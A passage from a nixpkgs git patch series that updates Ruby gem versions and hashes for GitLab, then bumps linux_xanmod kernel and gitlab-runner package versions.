     dependencies = [
@@ -2880,10 +2868,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "162p00p59rxbhxglanzapl6qckc52q97s6hrf1p0ywnqhpv51h6m";
+      sha256 = "071ya53947byqrhs8jwrsfp8kp1va0lgbbmid0py9z4gqpz9rnqa";
       type = "gem";
     };
-    version = "4.9.2";
+    version = "4.10.0";
   };
   gitlab-duo-workflow-service-client = {
     dependencies = [ "grpc" ];
@@ -2935,10 +2923,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "06rd3q4xznh483aqmg2llaaa946psagrxd6va8g9zm3q3k3fkj4i";
+      sha256 = "0pr1lqa5s4xrl5lxqw2sq5c3kdqlrlpxl9x9ybvf1lmpygkbcnmc";
       type = "gem";
     };
-    version = "0.0.31";
+    version = "0.0.33";
   };
   gitlab-housekeeper = {
     dependencies = [
@@ -2981,10 +2969,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "07d5jav33nvl83s83yd9fg6vv636n65ybni6m6k3yvlfxygpb3wn";
+      sha256 = "1qj5n9dfslfra3xrrq12mdzrk1ln3hv154wik9y0jd4vmym1j5cp";
       type = "gem";
     };
-    version = "18.1.0";
+    version = "18.2.1";
   };
   gitlab-labkit = {
     dependencies = [
@@ -3050,10 +3038,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "19xmqvmv34gydymqv5m6aiync1xmycisqg4k0rrsglfllnqgnjmn";
+      sha256 = "0ihzfkcybcd27sdsfshld9nwx2dmgqjq2s8nmnr8cnq50pialafj";
       type = "gem";
     };
-    version = "0.12.0";
+    version = "0.15.0";
   };
   gitlab-rspec = {
     dependencies = [
@@ -3160,10 +3148,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0v4sfh2497g5w5hhf89wjgvjbasa13hfgm0r05myzd5hbv7v2h3f";
+      sha256 = "1g8p0abh18h7xh84ga4a1z54qdixbsp7z62sab725vxlvln4lx1w";
       type = "gem";
     };
-    version = "0.1.3.min15.0.0.max15.2.2";
+    version = "0.1.3.min15.0.0.max15.2.3";
   };
   gitlab-sidekiq-fetcher = {
     dependencies = [
@@ -3275,10 +3263,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "05shhi6g3y8fp6h1accxzfi58py8d4rvv3bd17f1p6453pviirb8";
+      sha256 = "0pbi6kifymdimcnbsgknlqb7hdcnz045sacxaf8pnkiqcxc0bav8";
       type = "gem";
     };
-    version = "2.10.0";
+    version = "2.18.0";
   };
   globalid = {
     dependencies = [ "activesupport" ];
@@ -3317,10 +3305,24 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "09almff2kzdkciai63365q18wy0dfjhj48h8wa7lk77pjbfxgqfp";
+      sha256 = "06ppk1ghm9rxp9dqkgyjh8qs3g6lhvr2zkqmrxc9f0psrcxkxjvq";
       type = "gem";
     };
-    version = "0.34.0";
+    version = "0.84.0";
+  };
+  google-apis-bigquery_v2 = {
+    dependencies = [ "google-apis-core" ];
+    groups = [
+      "default"
+      "test"
+    ];
+    platforms = [ ];
+    source = {
+      remotes = [ "https://rubygems.org" ];
+      sha256 = "0yrx6gn79r8j0msnclr6ayh2azbvn4nhc2k0y1sspdsznh92jqlb";
+      type = "gem";
+    };
+    version = "0.90.0";
   };
   google-apis-cloudbilling_v1 = {
     dependencies = [ "google-apis-core" ];
@@ -3346,14 +3348,17 @@ src: {
   };
   google-apis-compute_v1 = {
     dependencies = [ "google-apis-core" ];
-    groups = [ "default" ];
+    groups = [
+      "default"
+      "test"
+    ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0s40lzp1nvnpda45lvybira8gll8snkdd4v3x7sl8fmwi9a18ia0";
+      sha256 = "1f0a46djzbmr41ykz25ibjnn91dnk11vr71k01m2yiiz1pqw9j5p";
       type = "gem";
     };
-    version = "0.57.0";
+    version = "0.127.0";
   };
   google-apis-container_v1 = {
     dependencies = [ "google-apis-core" ];
@@ -3361,10 +3366,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0914hq1wcnvg68vcdwpq5kxnm5h38ay7rrdsrzlqn9i7rca2a7bq";
+      sha256 = "0lqqimqjwhq6f816p2xj31lg57lzkgnlhvfycc1871736rhfanjs";
       type = "gem";
     };
-    version = "0.43.0";
+    version = "0.100.0";
   };
   google-apis-container_v1beta1 = {
     dependencies = [ "google-apis-core" ];
@@ -3383,19 +3388,21 @@ src: {
       "googleauth"
       "httpclient"
       "mini_mime"
+      "mutex_m"
       "representable"
       "retriable"
-      "rexml"
-      "webrick"
     ];
-    groups = [ "default" ];
+    groups = [
+      "default"
+      "test"
+    ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1cly6ycryjhk15d60v3nqvhqpjk9f0nznnslbdnin90f5r54sbpd";
+      sha256 = "1vjls3xdzphphay0z3wmv2lw4zxbiv3vbmcy2d4b9spfdy0mgc4n";
       type = "gem";
     };
-    version = "0.11.2";
+    version = "0.18.0";
   };
   google-apis-dns_v1 = {
     dependencies = [ "google-apis-core" ];
@@ -3414,10 +3421,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0rhzka4h1zg83zdyalbic25xbp8wrywsdfi6hdp663axdf3y5dqd";
+      sha256 = "0jba8g7iykvmgbar1xvfwar18896bls2shccx59lvpb1y5ji263g";
       type = "gem";
     };
-    version = "0.36.0";
+    version = "0.73.0";
   };
   google-apis-iamcredentials_v1 = {
     dependencies = [ "google-apis-core" ];
@@ -3501,6 +3508,25 @@ src: {
     };
     version = "0.11.0";
   };
+  google-cloud-bigquery = {
+    dependencies = [
+      "bigdecimal"
+      "concurrent-ruby"
+      "google-apis-bigquery_v2"
+      "google-apis-core"
+      "google-cloud-core"
+      "googleauth"
+      "mini_mime"
+    ];
+    groups = [ "test" ];
+    platforms = [ ];
+    source = {
+      remotes = [ "https://rubygems.org" ];
+      sha256 = "04zswxhyakyr7kkc15p9r6r7xpsxv41ssf5b7b52vyn7qjnmnqr0";
+      type = "gem";
+    };
+    version = "1.52.1";
+  };
   google-cloud-common = {
     dependencies = [
       "google-protobuf"
@@ -3546,14 +3572,17 @@ src: {
   };
   google-cloud-env = {
     dependencies = [ "faraday" ];
-    groups = [ "default" ];
+    groups = [
+      "default"
+      "test"
+    ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "16b9yjbrzal1cjkdbn29fl06ikjn1dpg1vdsjak1xvhpsp3vhjyg";
+      sha256 = "1ks9yv21d8bl9cw0sz5gy6npll1ig3m2bq9w7yw67j5mw2p64q1w";
       type = "gem";
     };
-    version = "2.1.1";
+    version = "2.2.1";
   };
   google-cloud-errors = {
     groups = [ "default" ];
@@ -3626,6 +3655,19 @@ src: {
     };
     version = "0.8.0";
   };
+  google-logging-utils = {
+    groups = [
+      "default"
+      "test"
+    ];
+    platforms = [ ];
+    source = {
+      remotes = [ "https://rubygems.org" ];
+      sha256 = "1mgw0n97prlvgvd81dci8rx93xranr3xnyhn5v7p6hii94g0p5bh";
+      type = "gem";
+    };
+    version = "0.1.0";
+  };
   google-protobuf = {
     groups = [
       "default"
@@ -3673,19 +3715,24 @@ src: {
   googleauth = {
     dependencies = [
       "faraday"
+      "google-cloud-env"
+      "google-logging-utils"
       "jwt"
       "multi_json"
       "os"
       "signet"
     ];
-    groups = [ "default" ];
+    groups = [
+      "default"
+      "test"
+    ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1ry9v23kndgx2pxq9v31l68k9lnnrcz1w4v75bkxq88jmbddljl1";
+      sha256 = "0jai8xv2rmhz8nb6vxg4whq6aldmkbyjsn3hvk9w740qg48xxrv2";
       type = "gem";
     };
-    version = "1.8.1";
+    version = "1.14.0";
   };
   gpgme = {
     dependencies = [ "mini_portile2" ];
@@ -3693,10 +3740,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0r1vmql7w7ka5xzj1aqf8pk2a4sv0znwj2zkg1fgvd5b89qcvv2k";
+      sha256 = "0d6whkyc63056nkaxsr86ygi9razbzr50qgbbla161bj525l0hlj";
       type = "gem";
     };
-    version = "2.0.24";
+    version = "2.0.25";
   };
   grape = {
     dependencies = [
@@ -3826,10 +3873,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "17dayn5422rnbaqs33dnl8d9jw7acpn6cg88z2awk4scwblvc7gv";
+      sha256 = "0p6vdc7knd6a5jf08qkjc2hay30aqirbcmb40mh4vz8mwb3gys8i";
       type = "gem";
     };
-    version = "2.4.13";
+    version = "2.5.11";
   };
   graphql-docs = {
     dependencies = [
@@ -3839,6 +3886,8 @@ src: {
       "gemoji"
       "graphql"
       "html-pipeline"
+      "logger"
+      "ostruct"
       "sass-embedded"
     ];
     groups = [
@@ -3848,10 +3897,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "011dasgfg93s39p2nnf88v2w9ds2czqxpgxvkxm4nfl0b9pcmfkn";
+      sha256 = "026y68zsfds326gqpp6d4yww9c3lid3xgpk5jbgillwza8j1gm24";
       type = "gem";
     };
-    version = "5.0.0";
+    version = "5.2.0";
   };
   grpc = {
     dependencies = [
@@ -3862,10 +3911,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "11ink0ayf14qgs3msn5a7dpg49vm3ck2415r64nfk1i8xv286hsz";
+      sha256 = "12qy6yga90hs2pdzkxwm80d38dbmjdxmf2szqwb40ky1jr4klfp7";
       type = "gem";
     };
-    version = "1.63.0";
+    version = "1.74.1";
   };
   grpc-google-iam-v1 = {
     dependencies = [
@@ -3988,10 +4037,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0qggmfrqx1f90xkkxn9afqk33bzx1vmj0gfdi6yvjj18d3p2w9p5";
+      sha256 = "1gvkhb18inkwkf9ja1i774975l259dzlvcvjii3zfyzmzylki5qb";
       type = "gem";
     };
-    version = "0.62.0";
+    version = "0.64.0";
   };
   hamlit = {
     dependencies = [
@@ -4003,10 +4052,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "13n3v9kbyrrm48hn1v0028cdrsq7pswb4s4w63x4b29kc99m1s6j";
+      sha256 = "1snfylcjavw6q61m146wpmcq2s53rz9xz9s1q39rzyd06iwgvsjv";
       type = "gem";
     };
-    version = "2.15.0";
+    version = "3.0.3";
   };
   hana = {
     groups = [ "default" ];
@@ -4090,10 +4139,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0kxdj8pf9pss9xgs8aac0alj5g1fi225yzdhh33lzampkazg1hii";
+      sha256 = "1igx1ab5kgyflfpv7g136a6f7ms9g9ixiikx7xikj1qmp6hczgmi";
       type = "gem";
     };
-    version = "0.2.0";
+    version = "0.4.0";
   };
   htmlbeautifier = {
     groups = [
@@ -4297,10 +4346,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "07ibhphcvf9lfaar9g78cazbdrp03dzfks53bcaiss8vxgrm5d02";
+      sha256 = "05gz61784pi084xinxpjys6n8ai5m4d2zcc55irzpv4ix2jyb7ih";
       type = "gem";
     };
-    version = "2.1.0";
+    version = "2.3.0";
   };
   io-console = {
     groups = [
@@ -4321,10 +4370,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1hag7zbmsvkbmv0486bxqvnngym4mhsj32aywwmklr5d21k2n9jc";
+      sha256 = "1ky3rfkdf57kf3c03da0dhkb555150yxkh9kfylkan2kxkwnvjiv";
       type = "gem";
     };
-    version = "1.9.0";
+    version = "1.12.1";
   };
   ipaddress = {
     groups = [ "default" ];
@@ -4431,10 +4480,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1da4ccsq5bycg28iv0smmrra80jad3a8ya10lps5lv8fbbfvqd3r";
+      sha256 = "008riic16i69s6rvs7j9sjky0nlcpvh1nqbwj878rd6hxdgf5adx";
       type = "gem";
     };
-    version = "3.8.0";
+    version = "3.13.0";
   };
   json = {
     groups = [
@@ -4446,10 +4495,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1hfcz73wszgqprg2pr83qjbyfb0k93frbdvyhgmw0ryyl9cgc44s";
+      sha256 = "1z0gmgndcqrcp5hgmgfrf8qiq9c6g4ccfs98qrgsr2d78jxz8z4f";
       type = "gem";
     };
-    version = "2.11.3";
+    version = "2.13.1";
   };
   json-jwt = {
     dependencies = [
@@ -4520,10 +4569,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0rba9mji57sfa1kjhj0bwff1377vj0i8yx2rd39j5ik4vp60gzam";
+      sha256 = "1x64l31nkqjwfv51s2vsm0yqq4cwzrlnji12wvaq761myx3fxq9i";
       type = "gem";
     };
-    version = "2.9.3";
+    version = "2.10.2";
   };
   kaminari = {
     dependencies = [
@@ -4634,10 +4683,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1k1zi27fnasqpinfxnajm81pyr11k2j510wacr53d37v97bzr1a9";
+      sha256 = "1g89qd1hhf111zy9djlzblzz06pnv59zmamh6fk06wvnih7vj446";
       type = "gem";
     };
-    version = "4.11.0";
+    version = "4.12.0";
   };
   language_server-protocol = {
     groups = [
@@ -4673,10 +4722,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "11g6iqlsck4ypjfg1b7pkcisy5qbm774rwbwdz2rka5lcccky9qs";
+      sha256 = "0jqyzwgs02lyvf2v4f810scxjy1zn8w00bhc2kssv7i8h2fxm0rk";
       type = "gem";
     };
-    version = "1.11.16";
+    version = "1.12.2";
   };
   letter_opener = {
     dependencies = [ "launchy" ];
@@ -4770,10 +4819,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0agybr37wpjv3xy4ipcmsvsibgdgphzrwbvcj4vfiykpmakwm01v";
+      sha256 = "0rwwsmvq79qwzl6324yc53py02kbrcww35si720490z5w0j497nv";
       type = "gem";
     };
-    version = "3.7.1";
+    version = "3.9.0";
   };
   llhttp-ffi = {
     dependencies = [
@@ -4808,10 +4857,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1sm365iplg1iscizckjm6zy57zs0350czi9afqfnvig0wh35i3na";
+      sha256 = "0q3jb6yaqqbn2l3bq39v9rj8zsa3qgjdsbavrvh8xnnk7g9sm9cj";
       type = "gem";
     };
-    version = "1.3.0";
+    version = "1.4.1";
   };
   logger = {
     groups = [
@@ -4992,10 +5041,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1c81d68r4wx0ckbmqxlfqc2qpd94jwcmqdm0xgr0s46r48pv9k9q";
+      sha256 = "1y58ba08n4lx123c0hjcc752fc4x802mjy39qj1hq50ak3vpv8br";
       type = "gem";
     };
-    version = "1.0.1";
+    version = "1.1.0";
   };
   method_source = {
     groups = [
@@ -5348,10 +5397,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1rgva7p9gvns2ndnqpw503mbd36i2skkggv0c0h192k8xr481phy";
+      sha256 = "1z1kpshd0r09jv0091bcr4gfx3i1psbqdzy7zyag5n8v3qr0anfr";
       type = "gem";
     };
-    version = "0.5.6";
+    version = "0.5.9";
   };
   net-ldap = {
     groups = [ "default" ];
@@ -5390,14 +5439,18 @@ src: {
   };
   net-protocol = {
     dependencies = [ "timeout" ];
-    groups = [ "default" ];
+    groups = [
+      "default"
+      "development"
+      "test"
+    ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "051cc82dl41a66c9sxv4lx4slqk7sz1v4iy0hdk6gpjyjszf4hxd";
+      sha256 = "1a32l4x73hz200cm587bc29q8q9az278syw3x6fkc9d1lv5y0wxa";
       type = "gem";
     };
-    version = "0.1.3";
+    version = "0.2.2";
   };
   net-scp = {
     dependencies = [ "net-ssh" ];
@@ -5496,10 +5549,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0rb306hbky6cxfyc8vrwpvl40fdapjvhsk62h08gg9wwbn3n8x4c";
+      sha256 = "0czsh9d738kj0bmpkjnczq9j924hg103gc00i0wfyg0fzn9psnmc";
       type = "gem";
     };
-    version = "1.18.8";
+    version = "1.18.9";
   };
   notiffany = {
     dependencies = [
@@ -5796,10 +5849,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1c2i8yry06qpqg4k8xps5aj0hfw7l7m5vdqf85sbpr04ngfdpq6l";
+      sha256 = "1sznc4d2qhqmkw1vhpx2v5i9ndfb4k25cazhz74cbv18wyp4bk2s";
       type = "gem";
     };
-    version = "2.2.3";
+    version = "2.2.4";
   };
   omniauth-shibboleth-redux = {
     dependencies = [ "omniauth" ];
@@ -6524,10 +6577,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0i9w8msil4snx5w11ix9b0wf52vjc3r49khy3ddgl1xk890kcxi4";
+      sha256 = "1wl7frfk68q6gsf6q6j32jl5m3yc0b9x8ycxz3hy79miaj9r5mll";
       type = "gem";
     };
-    version = "3.3.8.0";
+    version = "3.3.9.0";
   };
   parslet = {
     groups = [
@@ -6584,10 +6637,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1p2gqqrm895fzr9vi8d118zhql67bm8ydjvgqbq1crdnfggzn7kn";
+      sha256 = "0swf0a0r2xryx788q09w4zcwdq7v1pwq5fvkgr9m8abhbxgaf472";
       type = "gem";
     };
-    version = "1.5.9";
+    version = "1.6.1";
   };
   pg_query = {
     dependencies = [ "google-protobuf" ];
@@ -6886,10 +6939,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "11xd3207k5rl6bz0qxhcb3zcr941rhx7ig2f19gxxmdk7s3hcp7j";
+      sha256 = "07pajhv7pqz82kcjc6017y4d0hwz5kp746cydpx1npd79r56xddr";
       type = "gem";
     };
-    version = "6.6.0";
+    version = "6.6.1";
   };
   pyu-ruby-sasl = {
     groups = [ "default" ];
@@ -7329,10 +7382,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1n2v1lm3a4alh23r1x12blv9qqckas7cncpn4hk3ar3sdym25604";
+      sha256 = "1rvf0yyff2anyfnmx6csx7fai8dk727b843hzz1bm2nqcmm9asv7";
       type = "gem";
     };
-    version = "2.15.0";
+    version = "2.19.0";
   };
   recaptcha = {
     dependencies = [ "json" ];
@@ -7384,10 +7437,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0syhyw1bp9nbb0fvcmm58y1c6iav6xw6b4bzjz1rz2j1d7c012br";
+      sha256 = "1bpsh5dbvybsa8qnv4dg11a6f2zn4sndarf7pk4iaayjgaspbrmm";
       type = "gem";
     };
-    version = "5.4.0";
+    version = "5.4.1";
   };
   redis-actionpack = {
     dependencies = [
@@ -7410,10 +7463,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1h5cgdv40zk0ph1nl64ayhn6anzwy6mbxyi7fci9n404ryvy9zii";
+      sha256 = "1gb838wvrmsv2zf6g6injf1dvgxhh5km28n3xrrrqk0rjn7hy4s0";
       type = "gem";
     };
-    version = "0.22.2";
+    version = "0.25.1";
   };
   redis-cluster-client = {
     dependencies = [ "redis-client" ];
@@ -7421,10 +7474,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1az0l2q11214gxbi8fcn7xfxj0m31d3wlxcqd0h8qjxqvsjcmrk3";
+      sha256 = "0k10k2r78dqi00pjl3blrsm48d431g8dcax6n93xpg09h1cwkmhq";
       type = "gem";
     };
-    version = "0.11.0";
+    version = "0.13.5";
   };
   redis-clustering = {
     dependencies = [
@@ -7435,10 +7488,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0fsnfi15xiy8sal6av11fqfjmdmjpy93amf790i0zwqcf1iq1qbw";
+      sha256 = "1sj4b3j7i3rb5a276g7yyd95kji4j9sl6wmqfgpz39gx06qlni47";
       type = "gem";
     };
-    version = "5.4.0";
+    version = "5.4.1";
   };
   redis-namespace = {
     dependencies = [ "redis" ];
@@ -7641,10 +7694,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "18v8if3jix029rr3j8iwisv73facw223353n0h7avl39ibxk6hh3";
+      sha256 = "0ynxxmvzczn9a6wd87jyh209590nq6f6ls55dmwiky8fvwi8c68h";
       type = "gem";
     };
-    version = "4.5.2";
+    version = "4.6.0";
   };
   rqrcode = {
     dependencies = [
@@ -8459,14 +8512,17 @@ src: {
       "jwt"
       "multi_json"
     ];
-    groups = [ "default" ];
+    groups = [
+      "default"
+      "test"
+    ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0fzakk5y7zzii76zlkynpp1c764mzkkfg4mpj18f5pf2xp1aikb6";
+      sha256 = "0cfxa11wy1nv9slmnzjczkdgld0gqizajsb03rliy53zylwkjzsk";
       type = "gem";
     };
-    version = "0.18.0";
+    version = "0.19.0";
   };
   simple_po_parser = {
     groups = [
@@ -9119,10 +9175,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1knw2xa3pkfql4np9qazz2mdi1vz21vdsa0wkx648c4ym1p2h8yh";
+      sha256 = "0y2xpdpj8rm9xgx2w9l8liwb6hqcwqxnmhnhkvw15y4saabs2i3s";
       type = "gem";
     };
-    version = "0.16.0";
+    version = "0.22.0";
   };
   tilt = {
     groups = [
@@ -9445,10 +9501,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0kd7rk9qf9gx53i8jrkc1fjl2bjjxyw9cd1i784ipnfl3dc0da8s";
+      sha256 = "0wb06pbc6vz5p4p0nm36drqlpl16mqiymv6381f9lz599pb1isjn";
       type = "gem";
     };
-    version = "0.7.0";
+    version = "0.7.4";
   };
   unf = {
     dependencies = [ "unf_ext" ];

From f60760cee4507ca55212fe2a2b6a0efe42ea9897 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 10 Sep 2025 06:00:35 +0200
Subject: [PATCH 4413/4511] linux_xanmod: 6.12.45 -> 6.12.46

(cherry picked from commit 162239e75dfa60e11f39e120023136f93e34d7b6)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 809b3447b5f8..e1500f927c6f 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.45";
-      hash = "sha256-JyRmRdSkskD3LHvaCUNZJOKEXNML4WRbUDN3+dVn4Kk=";
+      version = "6.12.46";
+      hash = "sha256-F3a13wXACJrKHLbEcq+Z+cw08/8Ttqut76osvZ9qdTY=";
       isLTS = true;
     };
     # ./update-xanmod.sh main

From 496c7875e5788c4455ea797f56230d6bdbd0bd1d Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 10 Sep 2025 06:02:27 +0200
Subject: [PATCH 4414/4511] linux_xanmod_latest: 6.16.5 -> 6.16.6

(cherry picked from commit 7687470516926f50a34d5e904fe63d2f6b8ba765)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index e1500f927c6f..c9c027852762 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -21,8 +21,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.16.5";
-      hash = "sha256-XQ1blzX1sR7et0qKu+voKDKefjYLYZwHPFo7RbFYekg=";
+      version = "6.16.6";
+      hash = "sha256-ayNw64Wkg4HKnxEuvmGmgkJB3wLKqKAkK70mgX3eJJ8=";
     };
   };
 

From 1638ca4dcd3aeba69d55ad8084faa66c35b444aa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 31 Jul 2025 12:23:35 +0000
Subject: [PATCH 4415/4511] gitlab-runner: 18.1.2 -> 18.1.3

(cherry picked from commit 4e2640b9056a6b5b1bc659133f36ac259417a9a9)
---
 pkgs/by-name/gi/gitlab-runner/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index e0a1ba8b85e2..8f9576a6fdd2 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -10,13 +10,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "gitlab-runner";
-  version = "18.1.2";
+  version = "18.1.3";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-zazDJBo6HiBh995nsYQvYCgcxyNaulV2ZrG7Kbwxb+0=";
+    hash = "sha256-LqkHXmbGHXhIWqcJijBi1i5hYiBi9sv+/+7u2NW2e7Q=";
   };
 
   vendorHash = "sha256-G9qZKWI//ECG88Tu8zb8nEDSwNRabVMsrp7aQzVsxCY=";

From 97f34f371e2a585aa106719db4cf20eb0edfe0f4 Mon Sep 17 00:00:00 2001
From: Yaya <github@uwu.is>
Date: Wed, 27 Aug 2025 09:53:04 +0200
Subject: [PATCH 4416/4511] gitlab-runner: 18.1.3 -> 18.3.0

https://gitlab.com/gitlab-org/gitlab-runner/blob/v18.3.0/CHANGELOG.md
(cherry picked from commit a6b5315ee338d20557c531de07b127c4f046db34)
---
 pkgs/by-name/gi/gitlab-runner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index 8f9576a6fdd2..827c389716a7 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "gitlab-runner";
-  version = "18.1.3";
+  version = "18.3.0";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-LqkHXmbGHXhIWqcJijBi1i5hYiBi9sv+/+7u2NW2e7Q=";
+    hash = "sha256-D40ecrGAu76WoV8B49/2eDqigpcXcSCc+1nOW7KxHcA=";
   };
 
-  vendorHash = "sha256-G9qZKWI//ECG88Tu8zb8nEDSwNRabVMsrp7aQzVsxCY=";
+  vendorHash = "sha256-vP/htZiUp5qL4TMw6AgNW/TVcvx+pl6rxp41SK5g4XM=";
 
   # For patchShebangs
   buildInputs = [ bash ];

From 53962112438f5e7a9f8854875680bfa5ac0c5c56 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 7 Sep 2025 16:38:01 +0000
Subject: [PATCH 4417/4511] gitlab-runner: 18.3.0 -> 18.3.1

(cherry picked from commit 1610fefc606c0a10e04e5cbfa97f804a27de68eb)
---
 pkgs/by-name/gi/gitlab-runner/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index 827c389716a7..183e9469bcad 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -10,13 +10,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "gitlab-runner";
-  version = "18.3.0";
+  version = "18.3.1";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-D40ecrGAu76WoV8B49/2eDqigpcXcSCc+1nOW7KxHcA=";
+    hash = "sha256-D8CNY+lQEK2DgiGfScPxDPday3re/LN4i5jEJTGbshY=";
   };
 
   vendorHash = "sha256-vP/htZiUp5qL4TMw6AgNW/TVcvx+pl6rxp41SK5g4XM=";

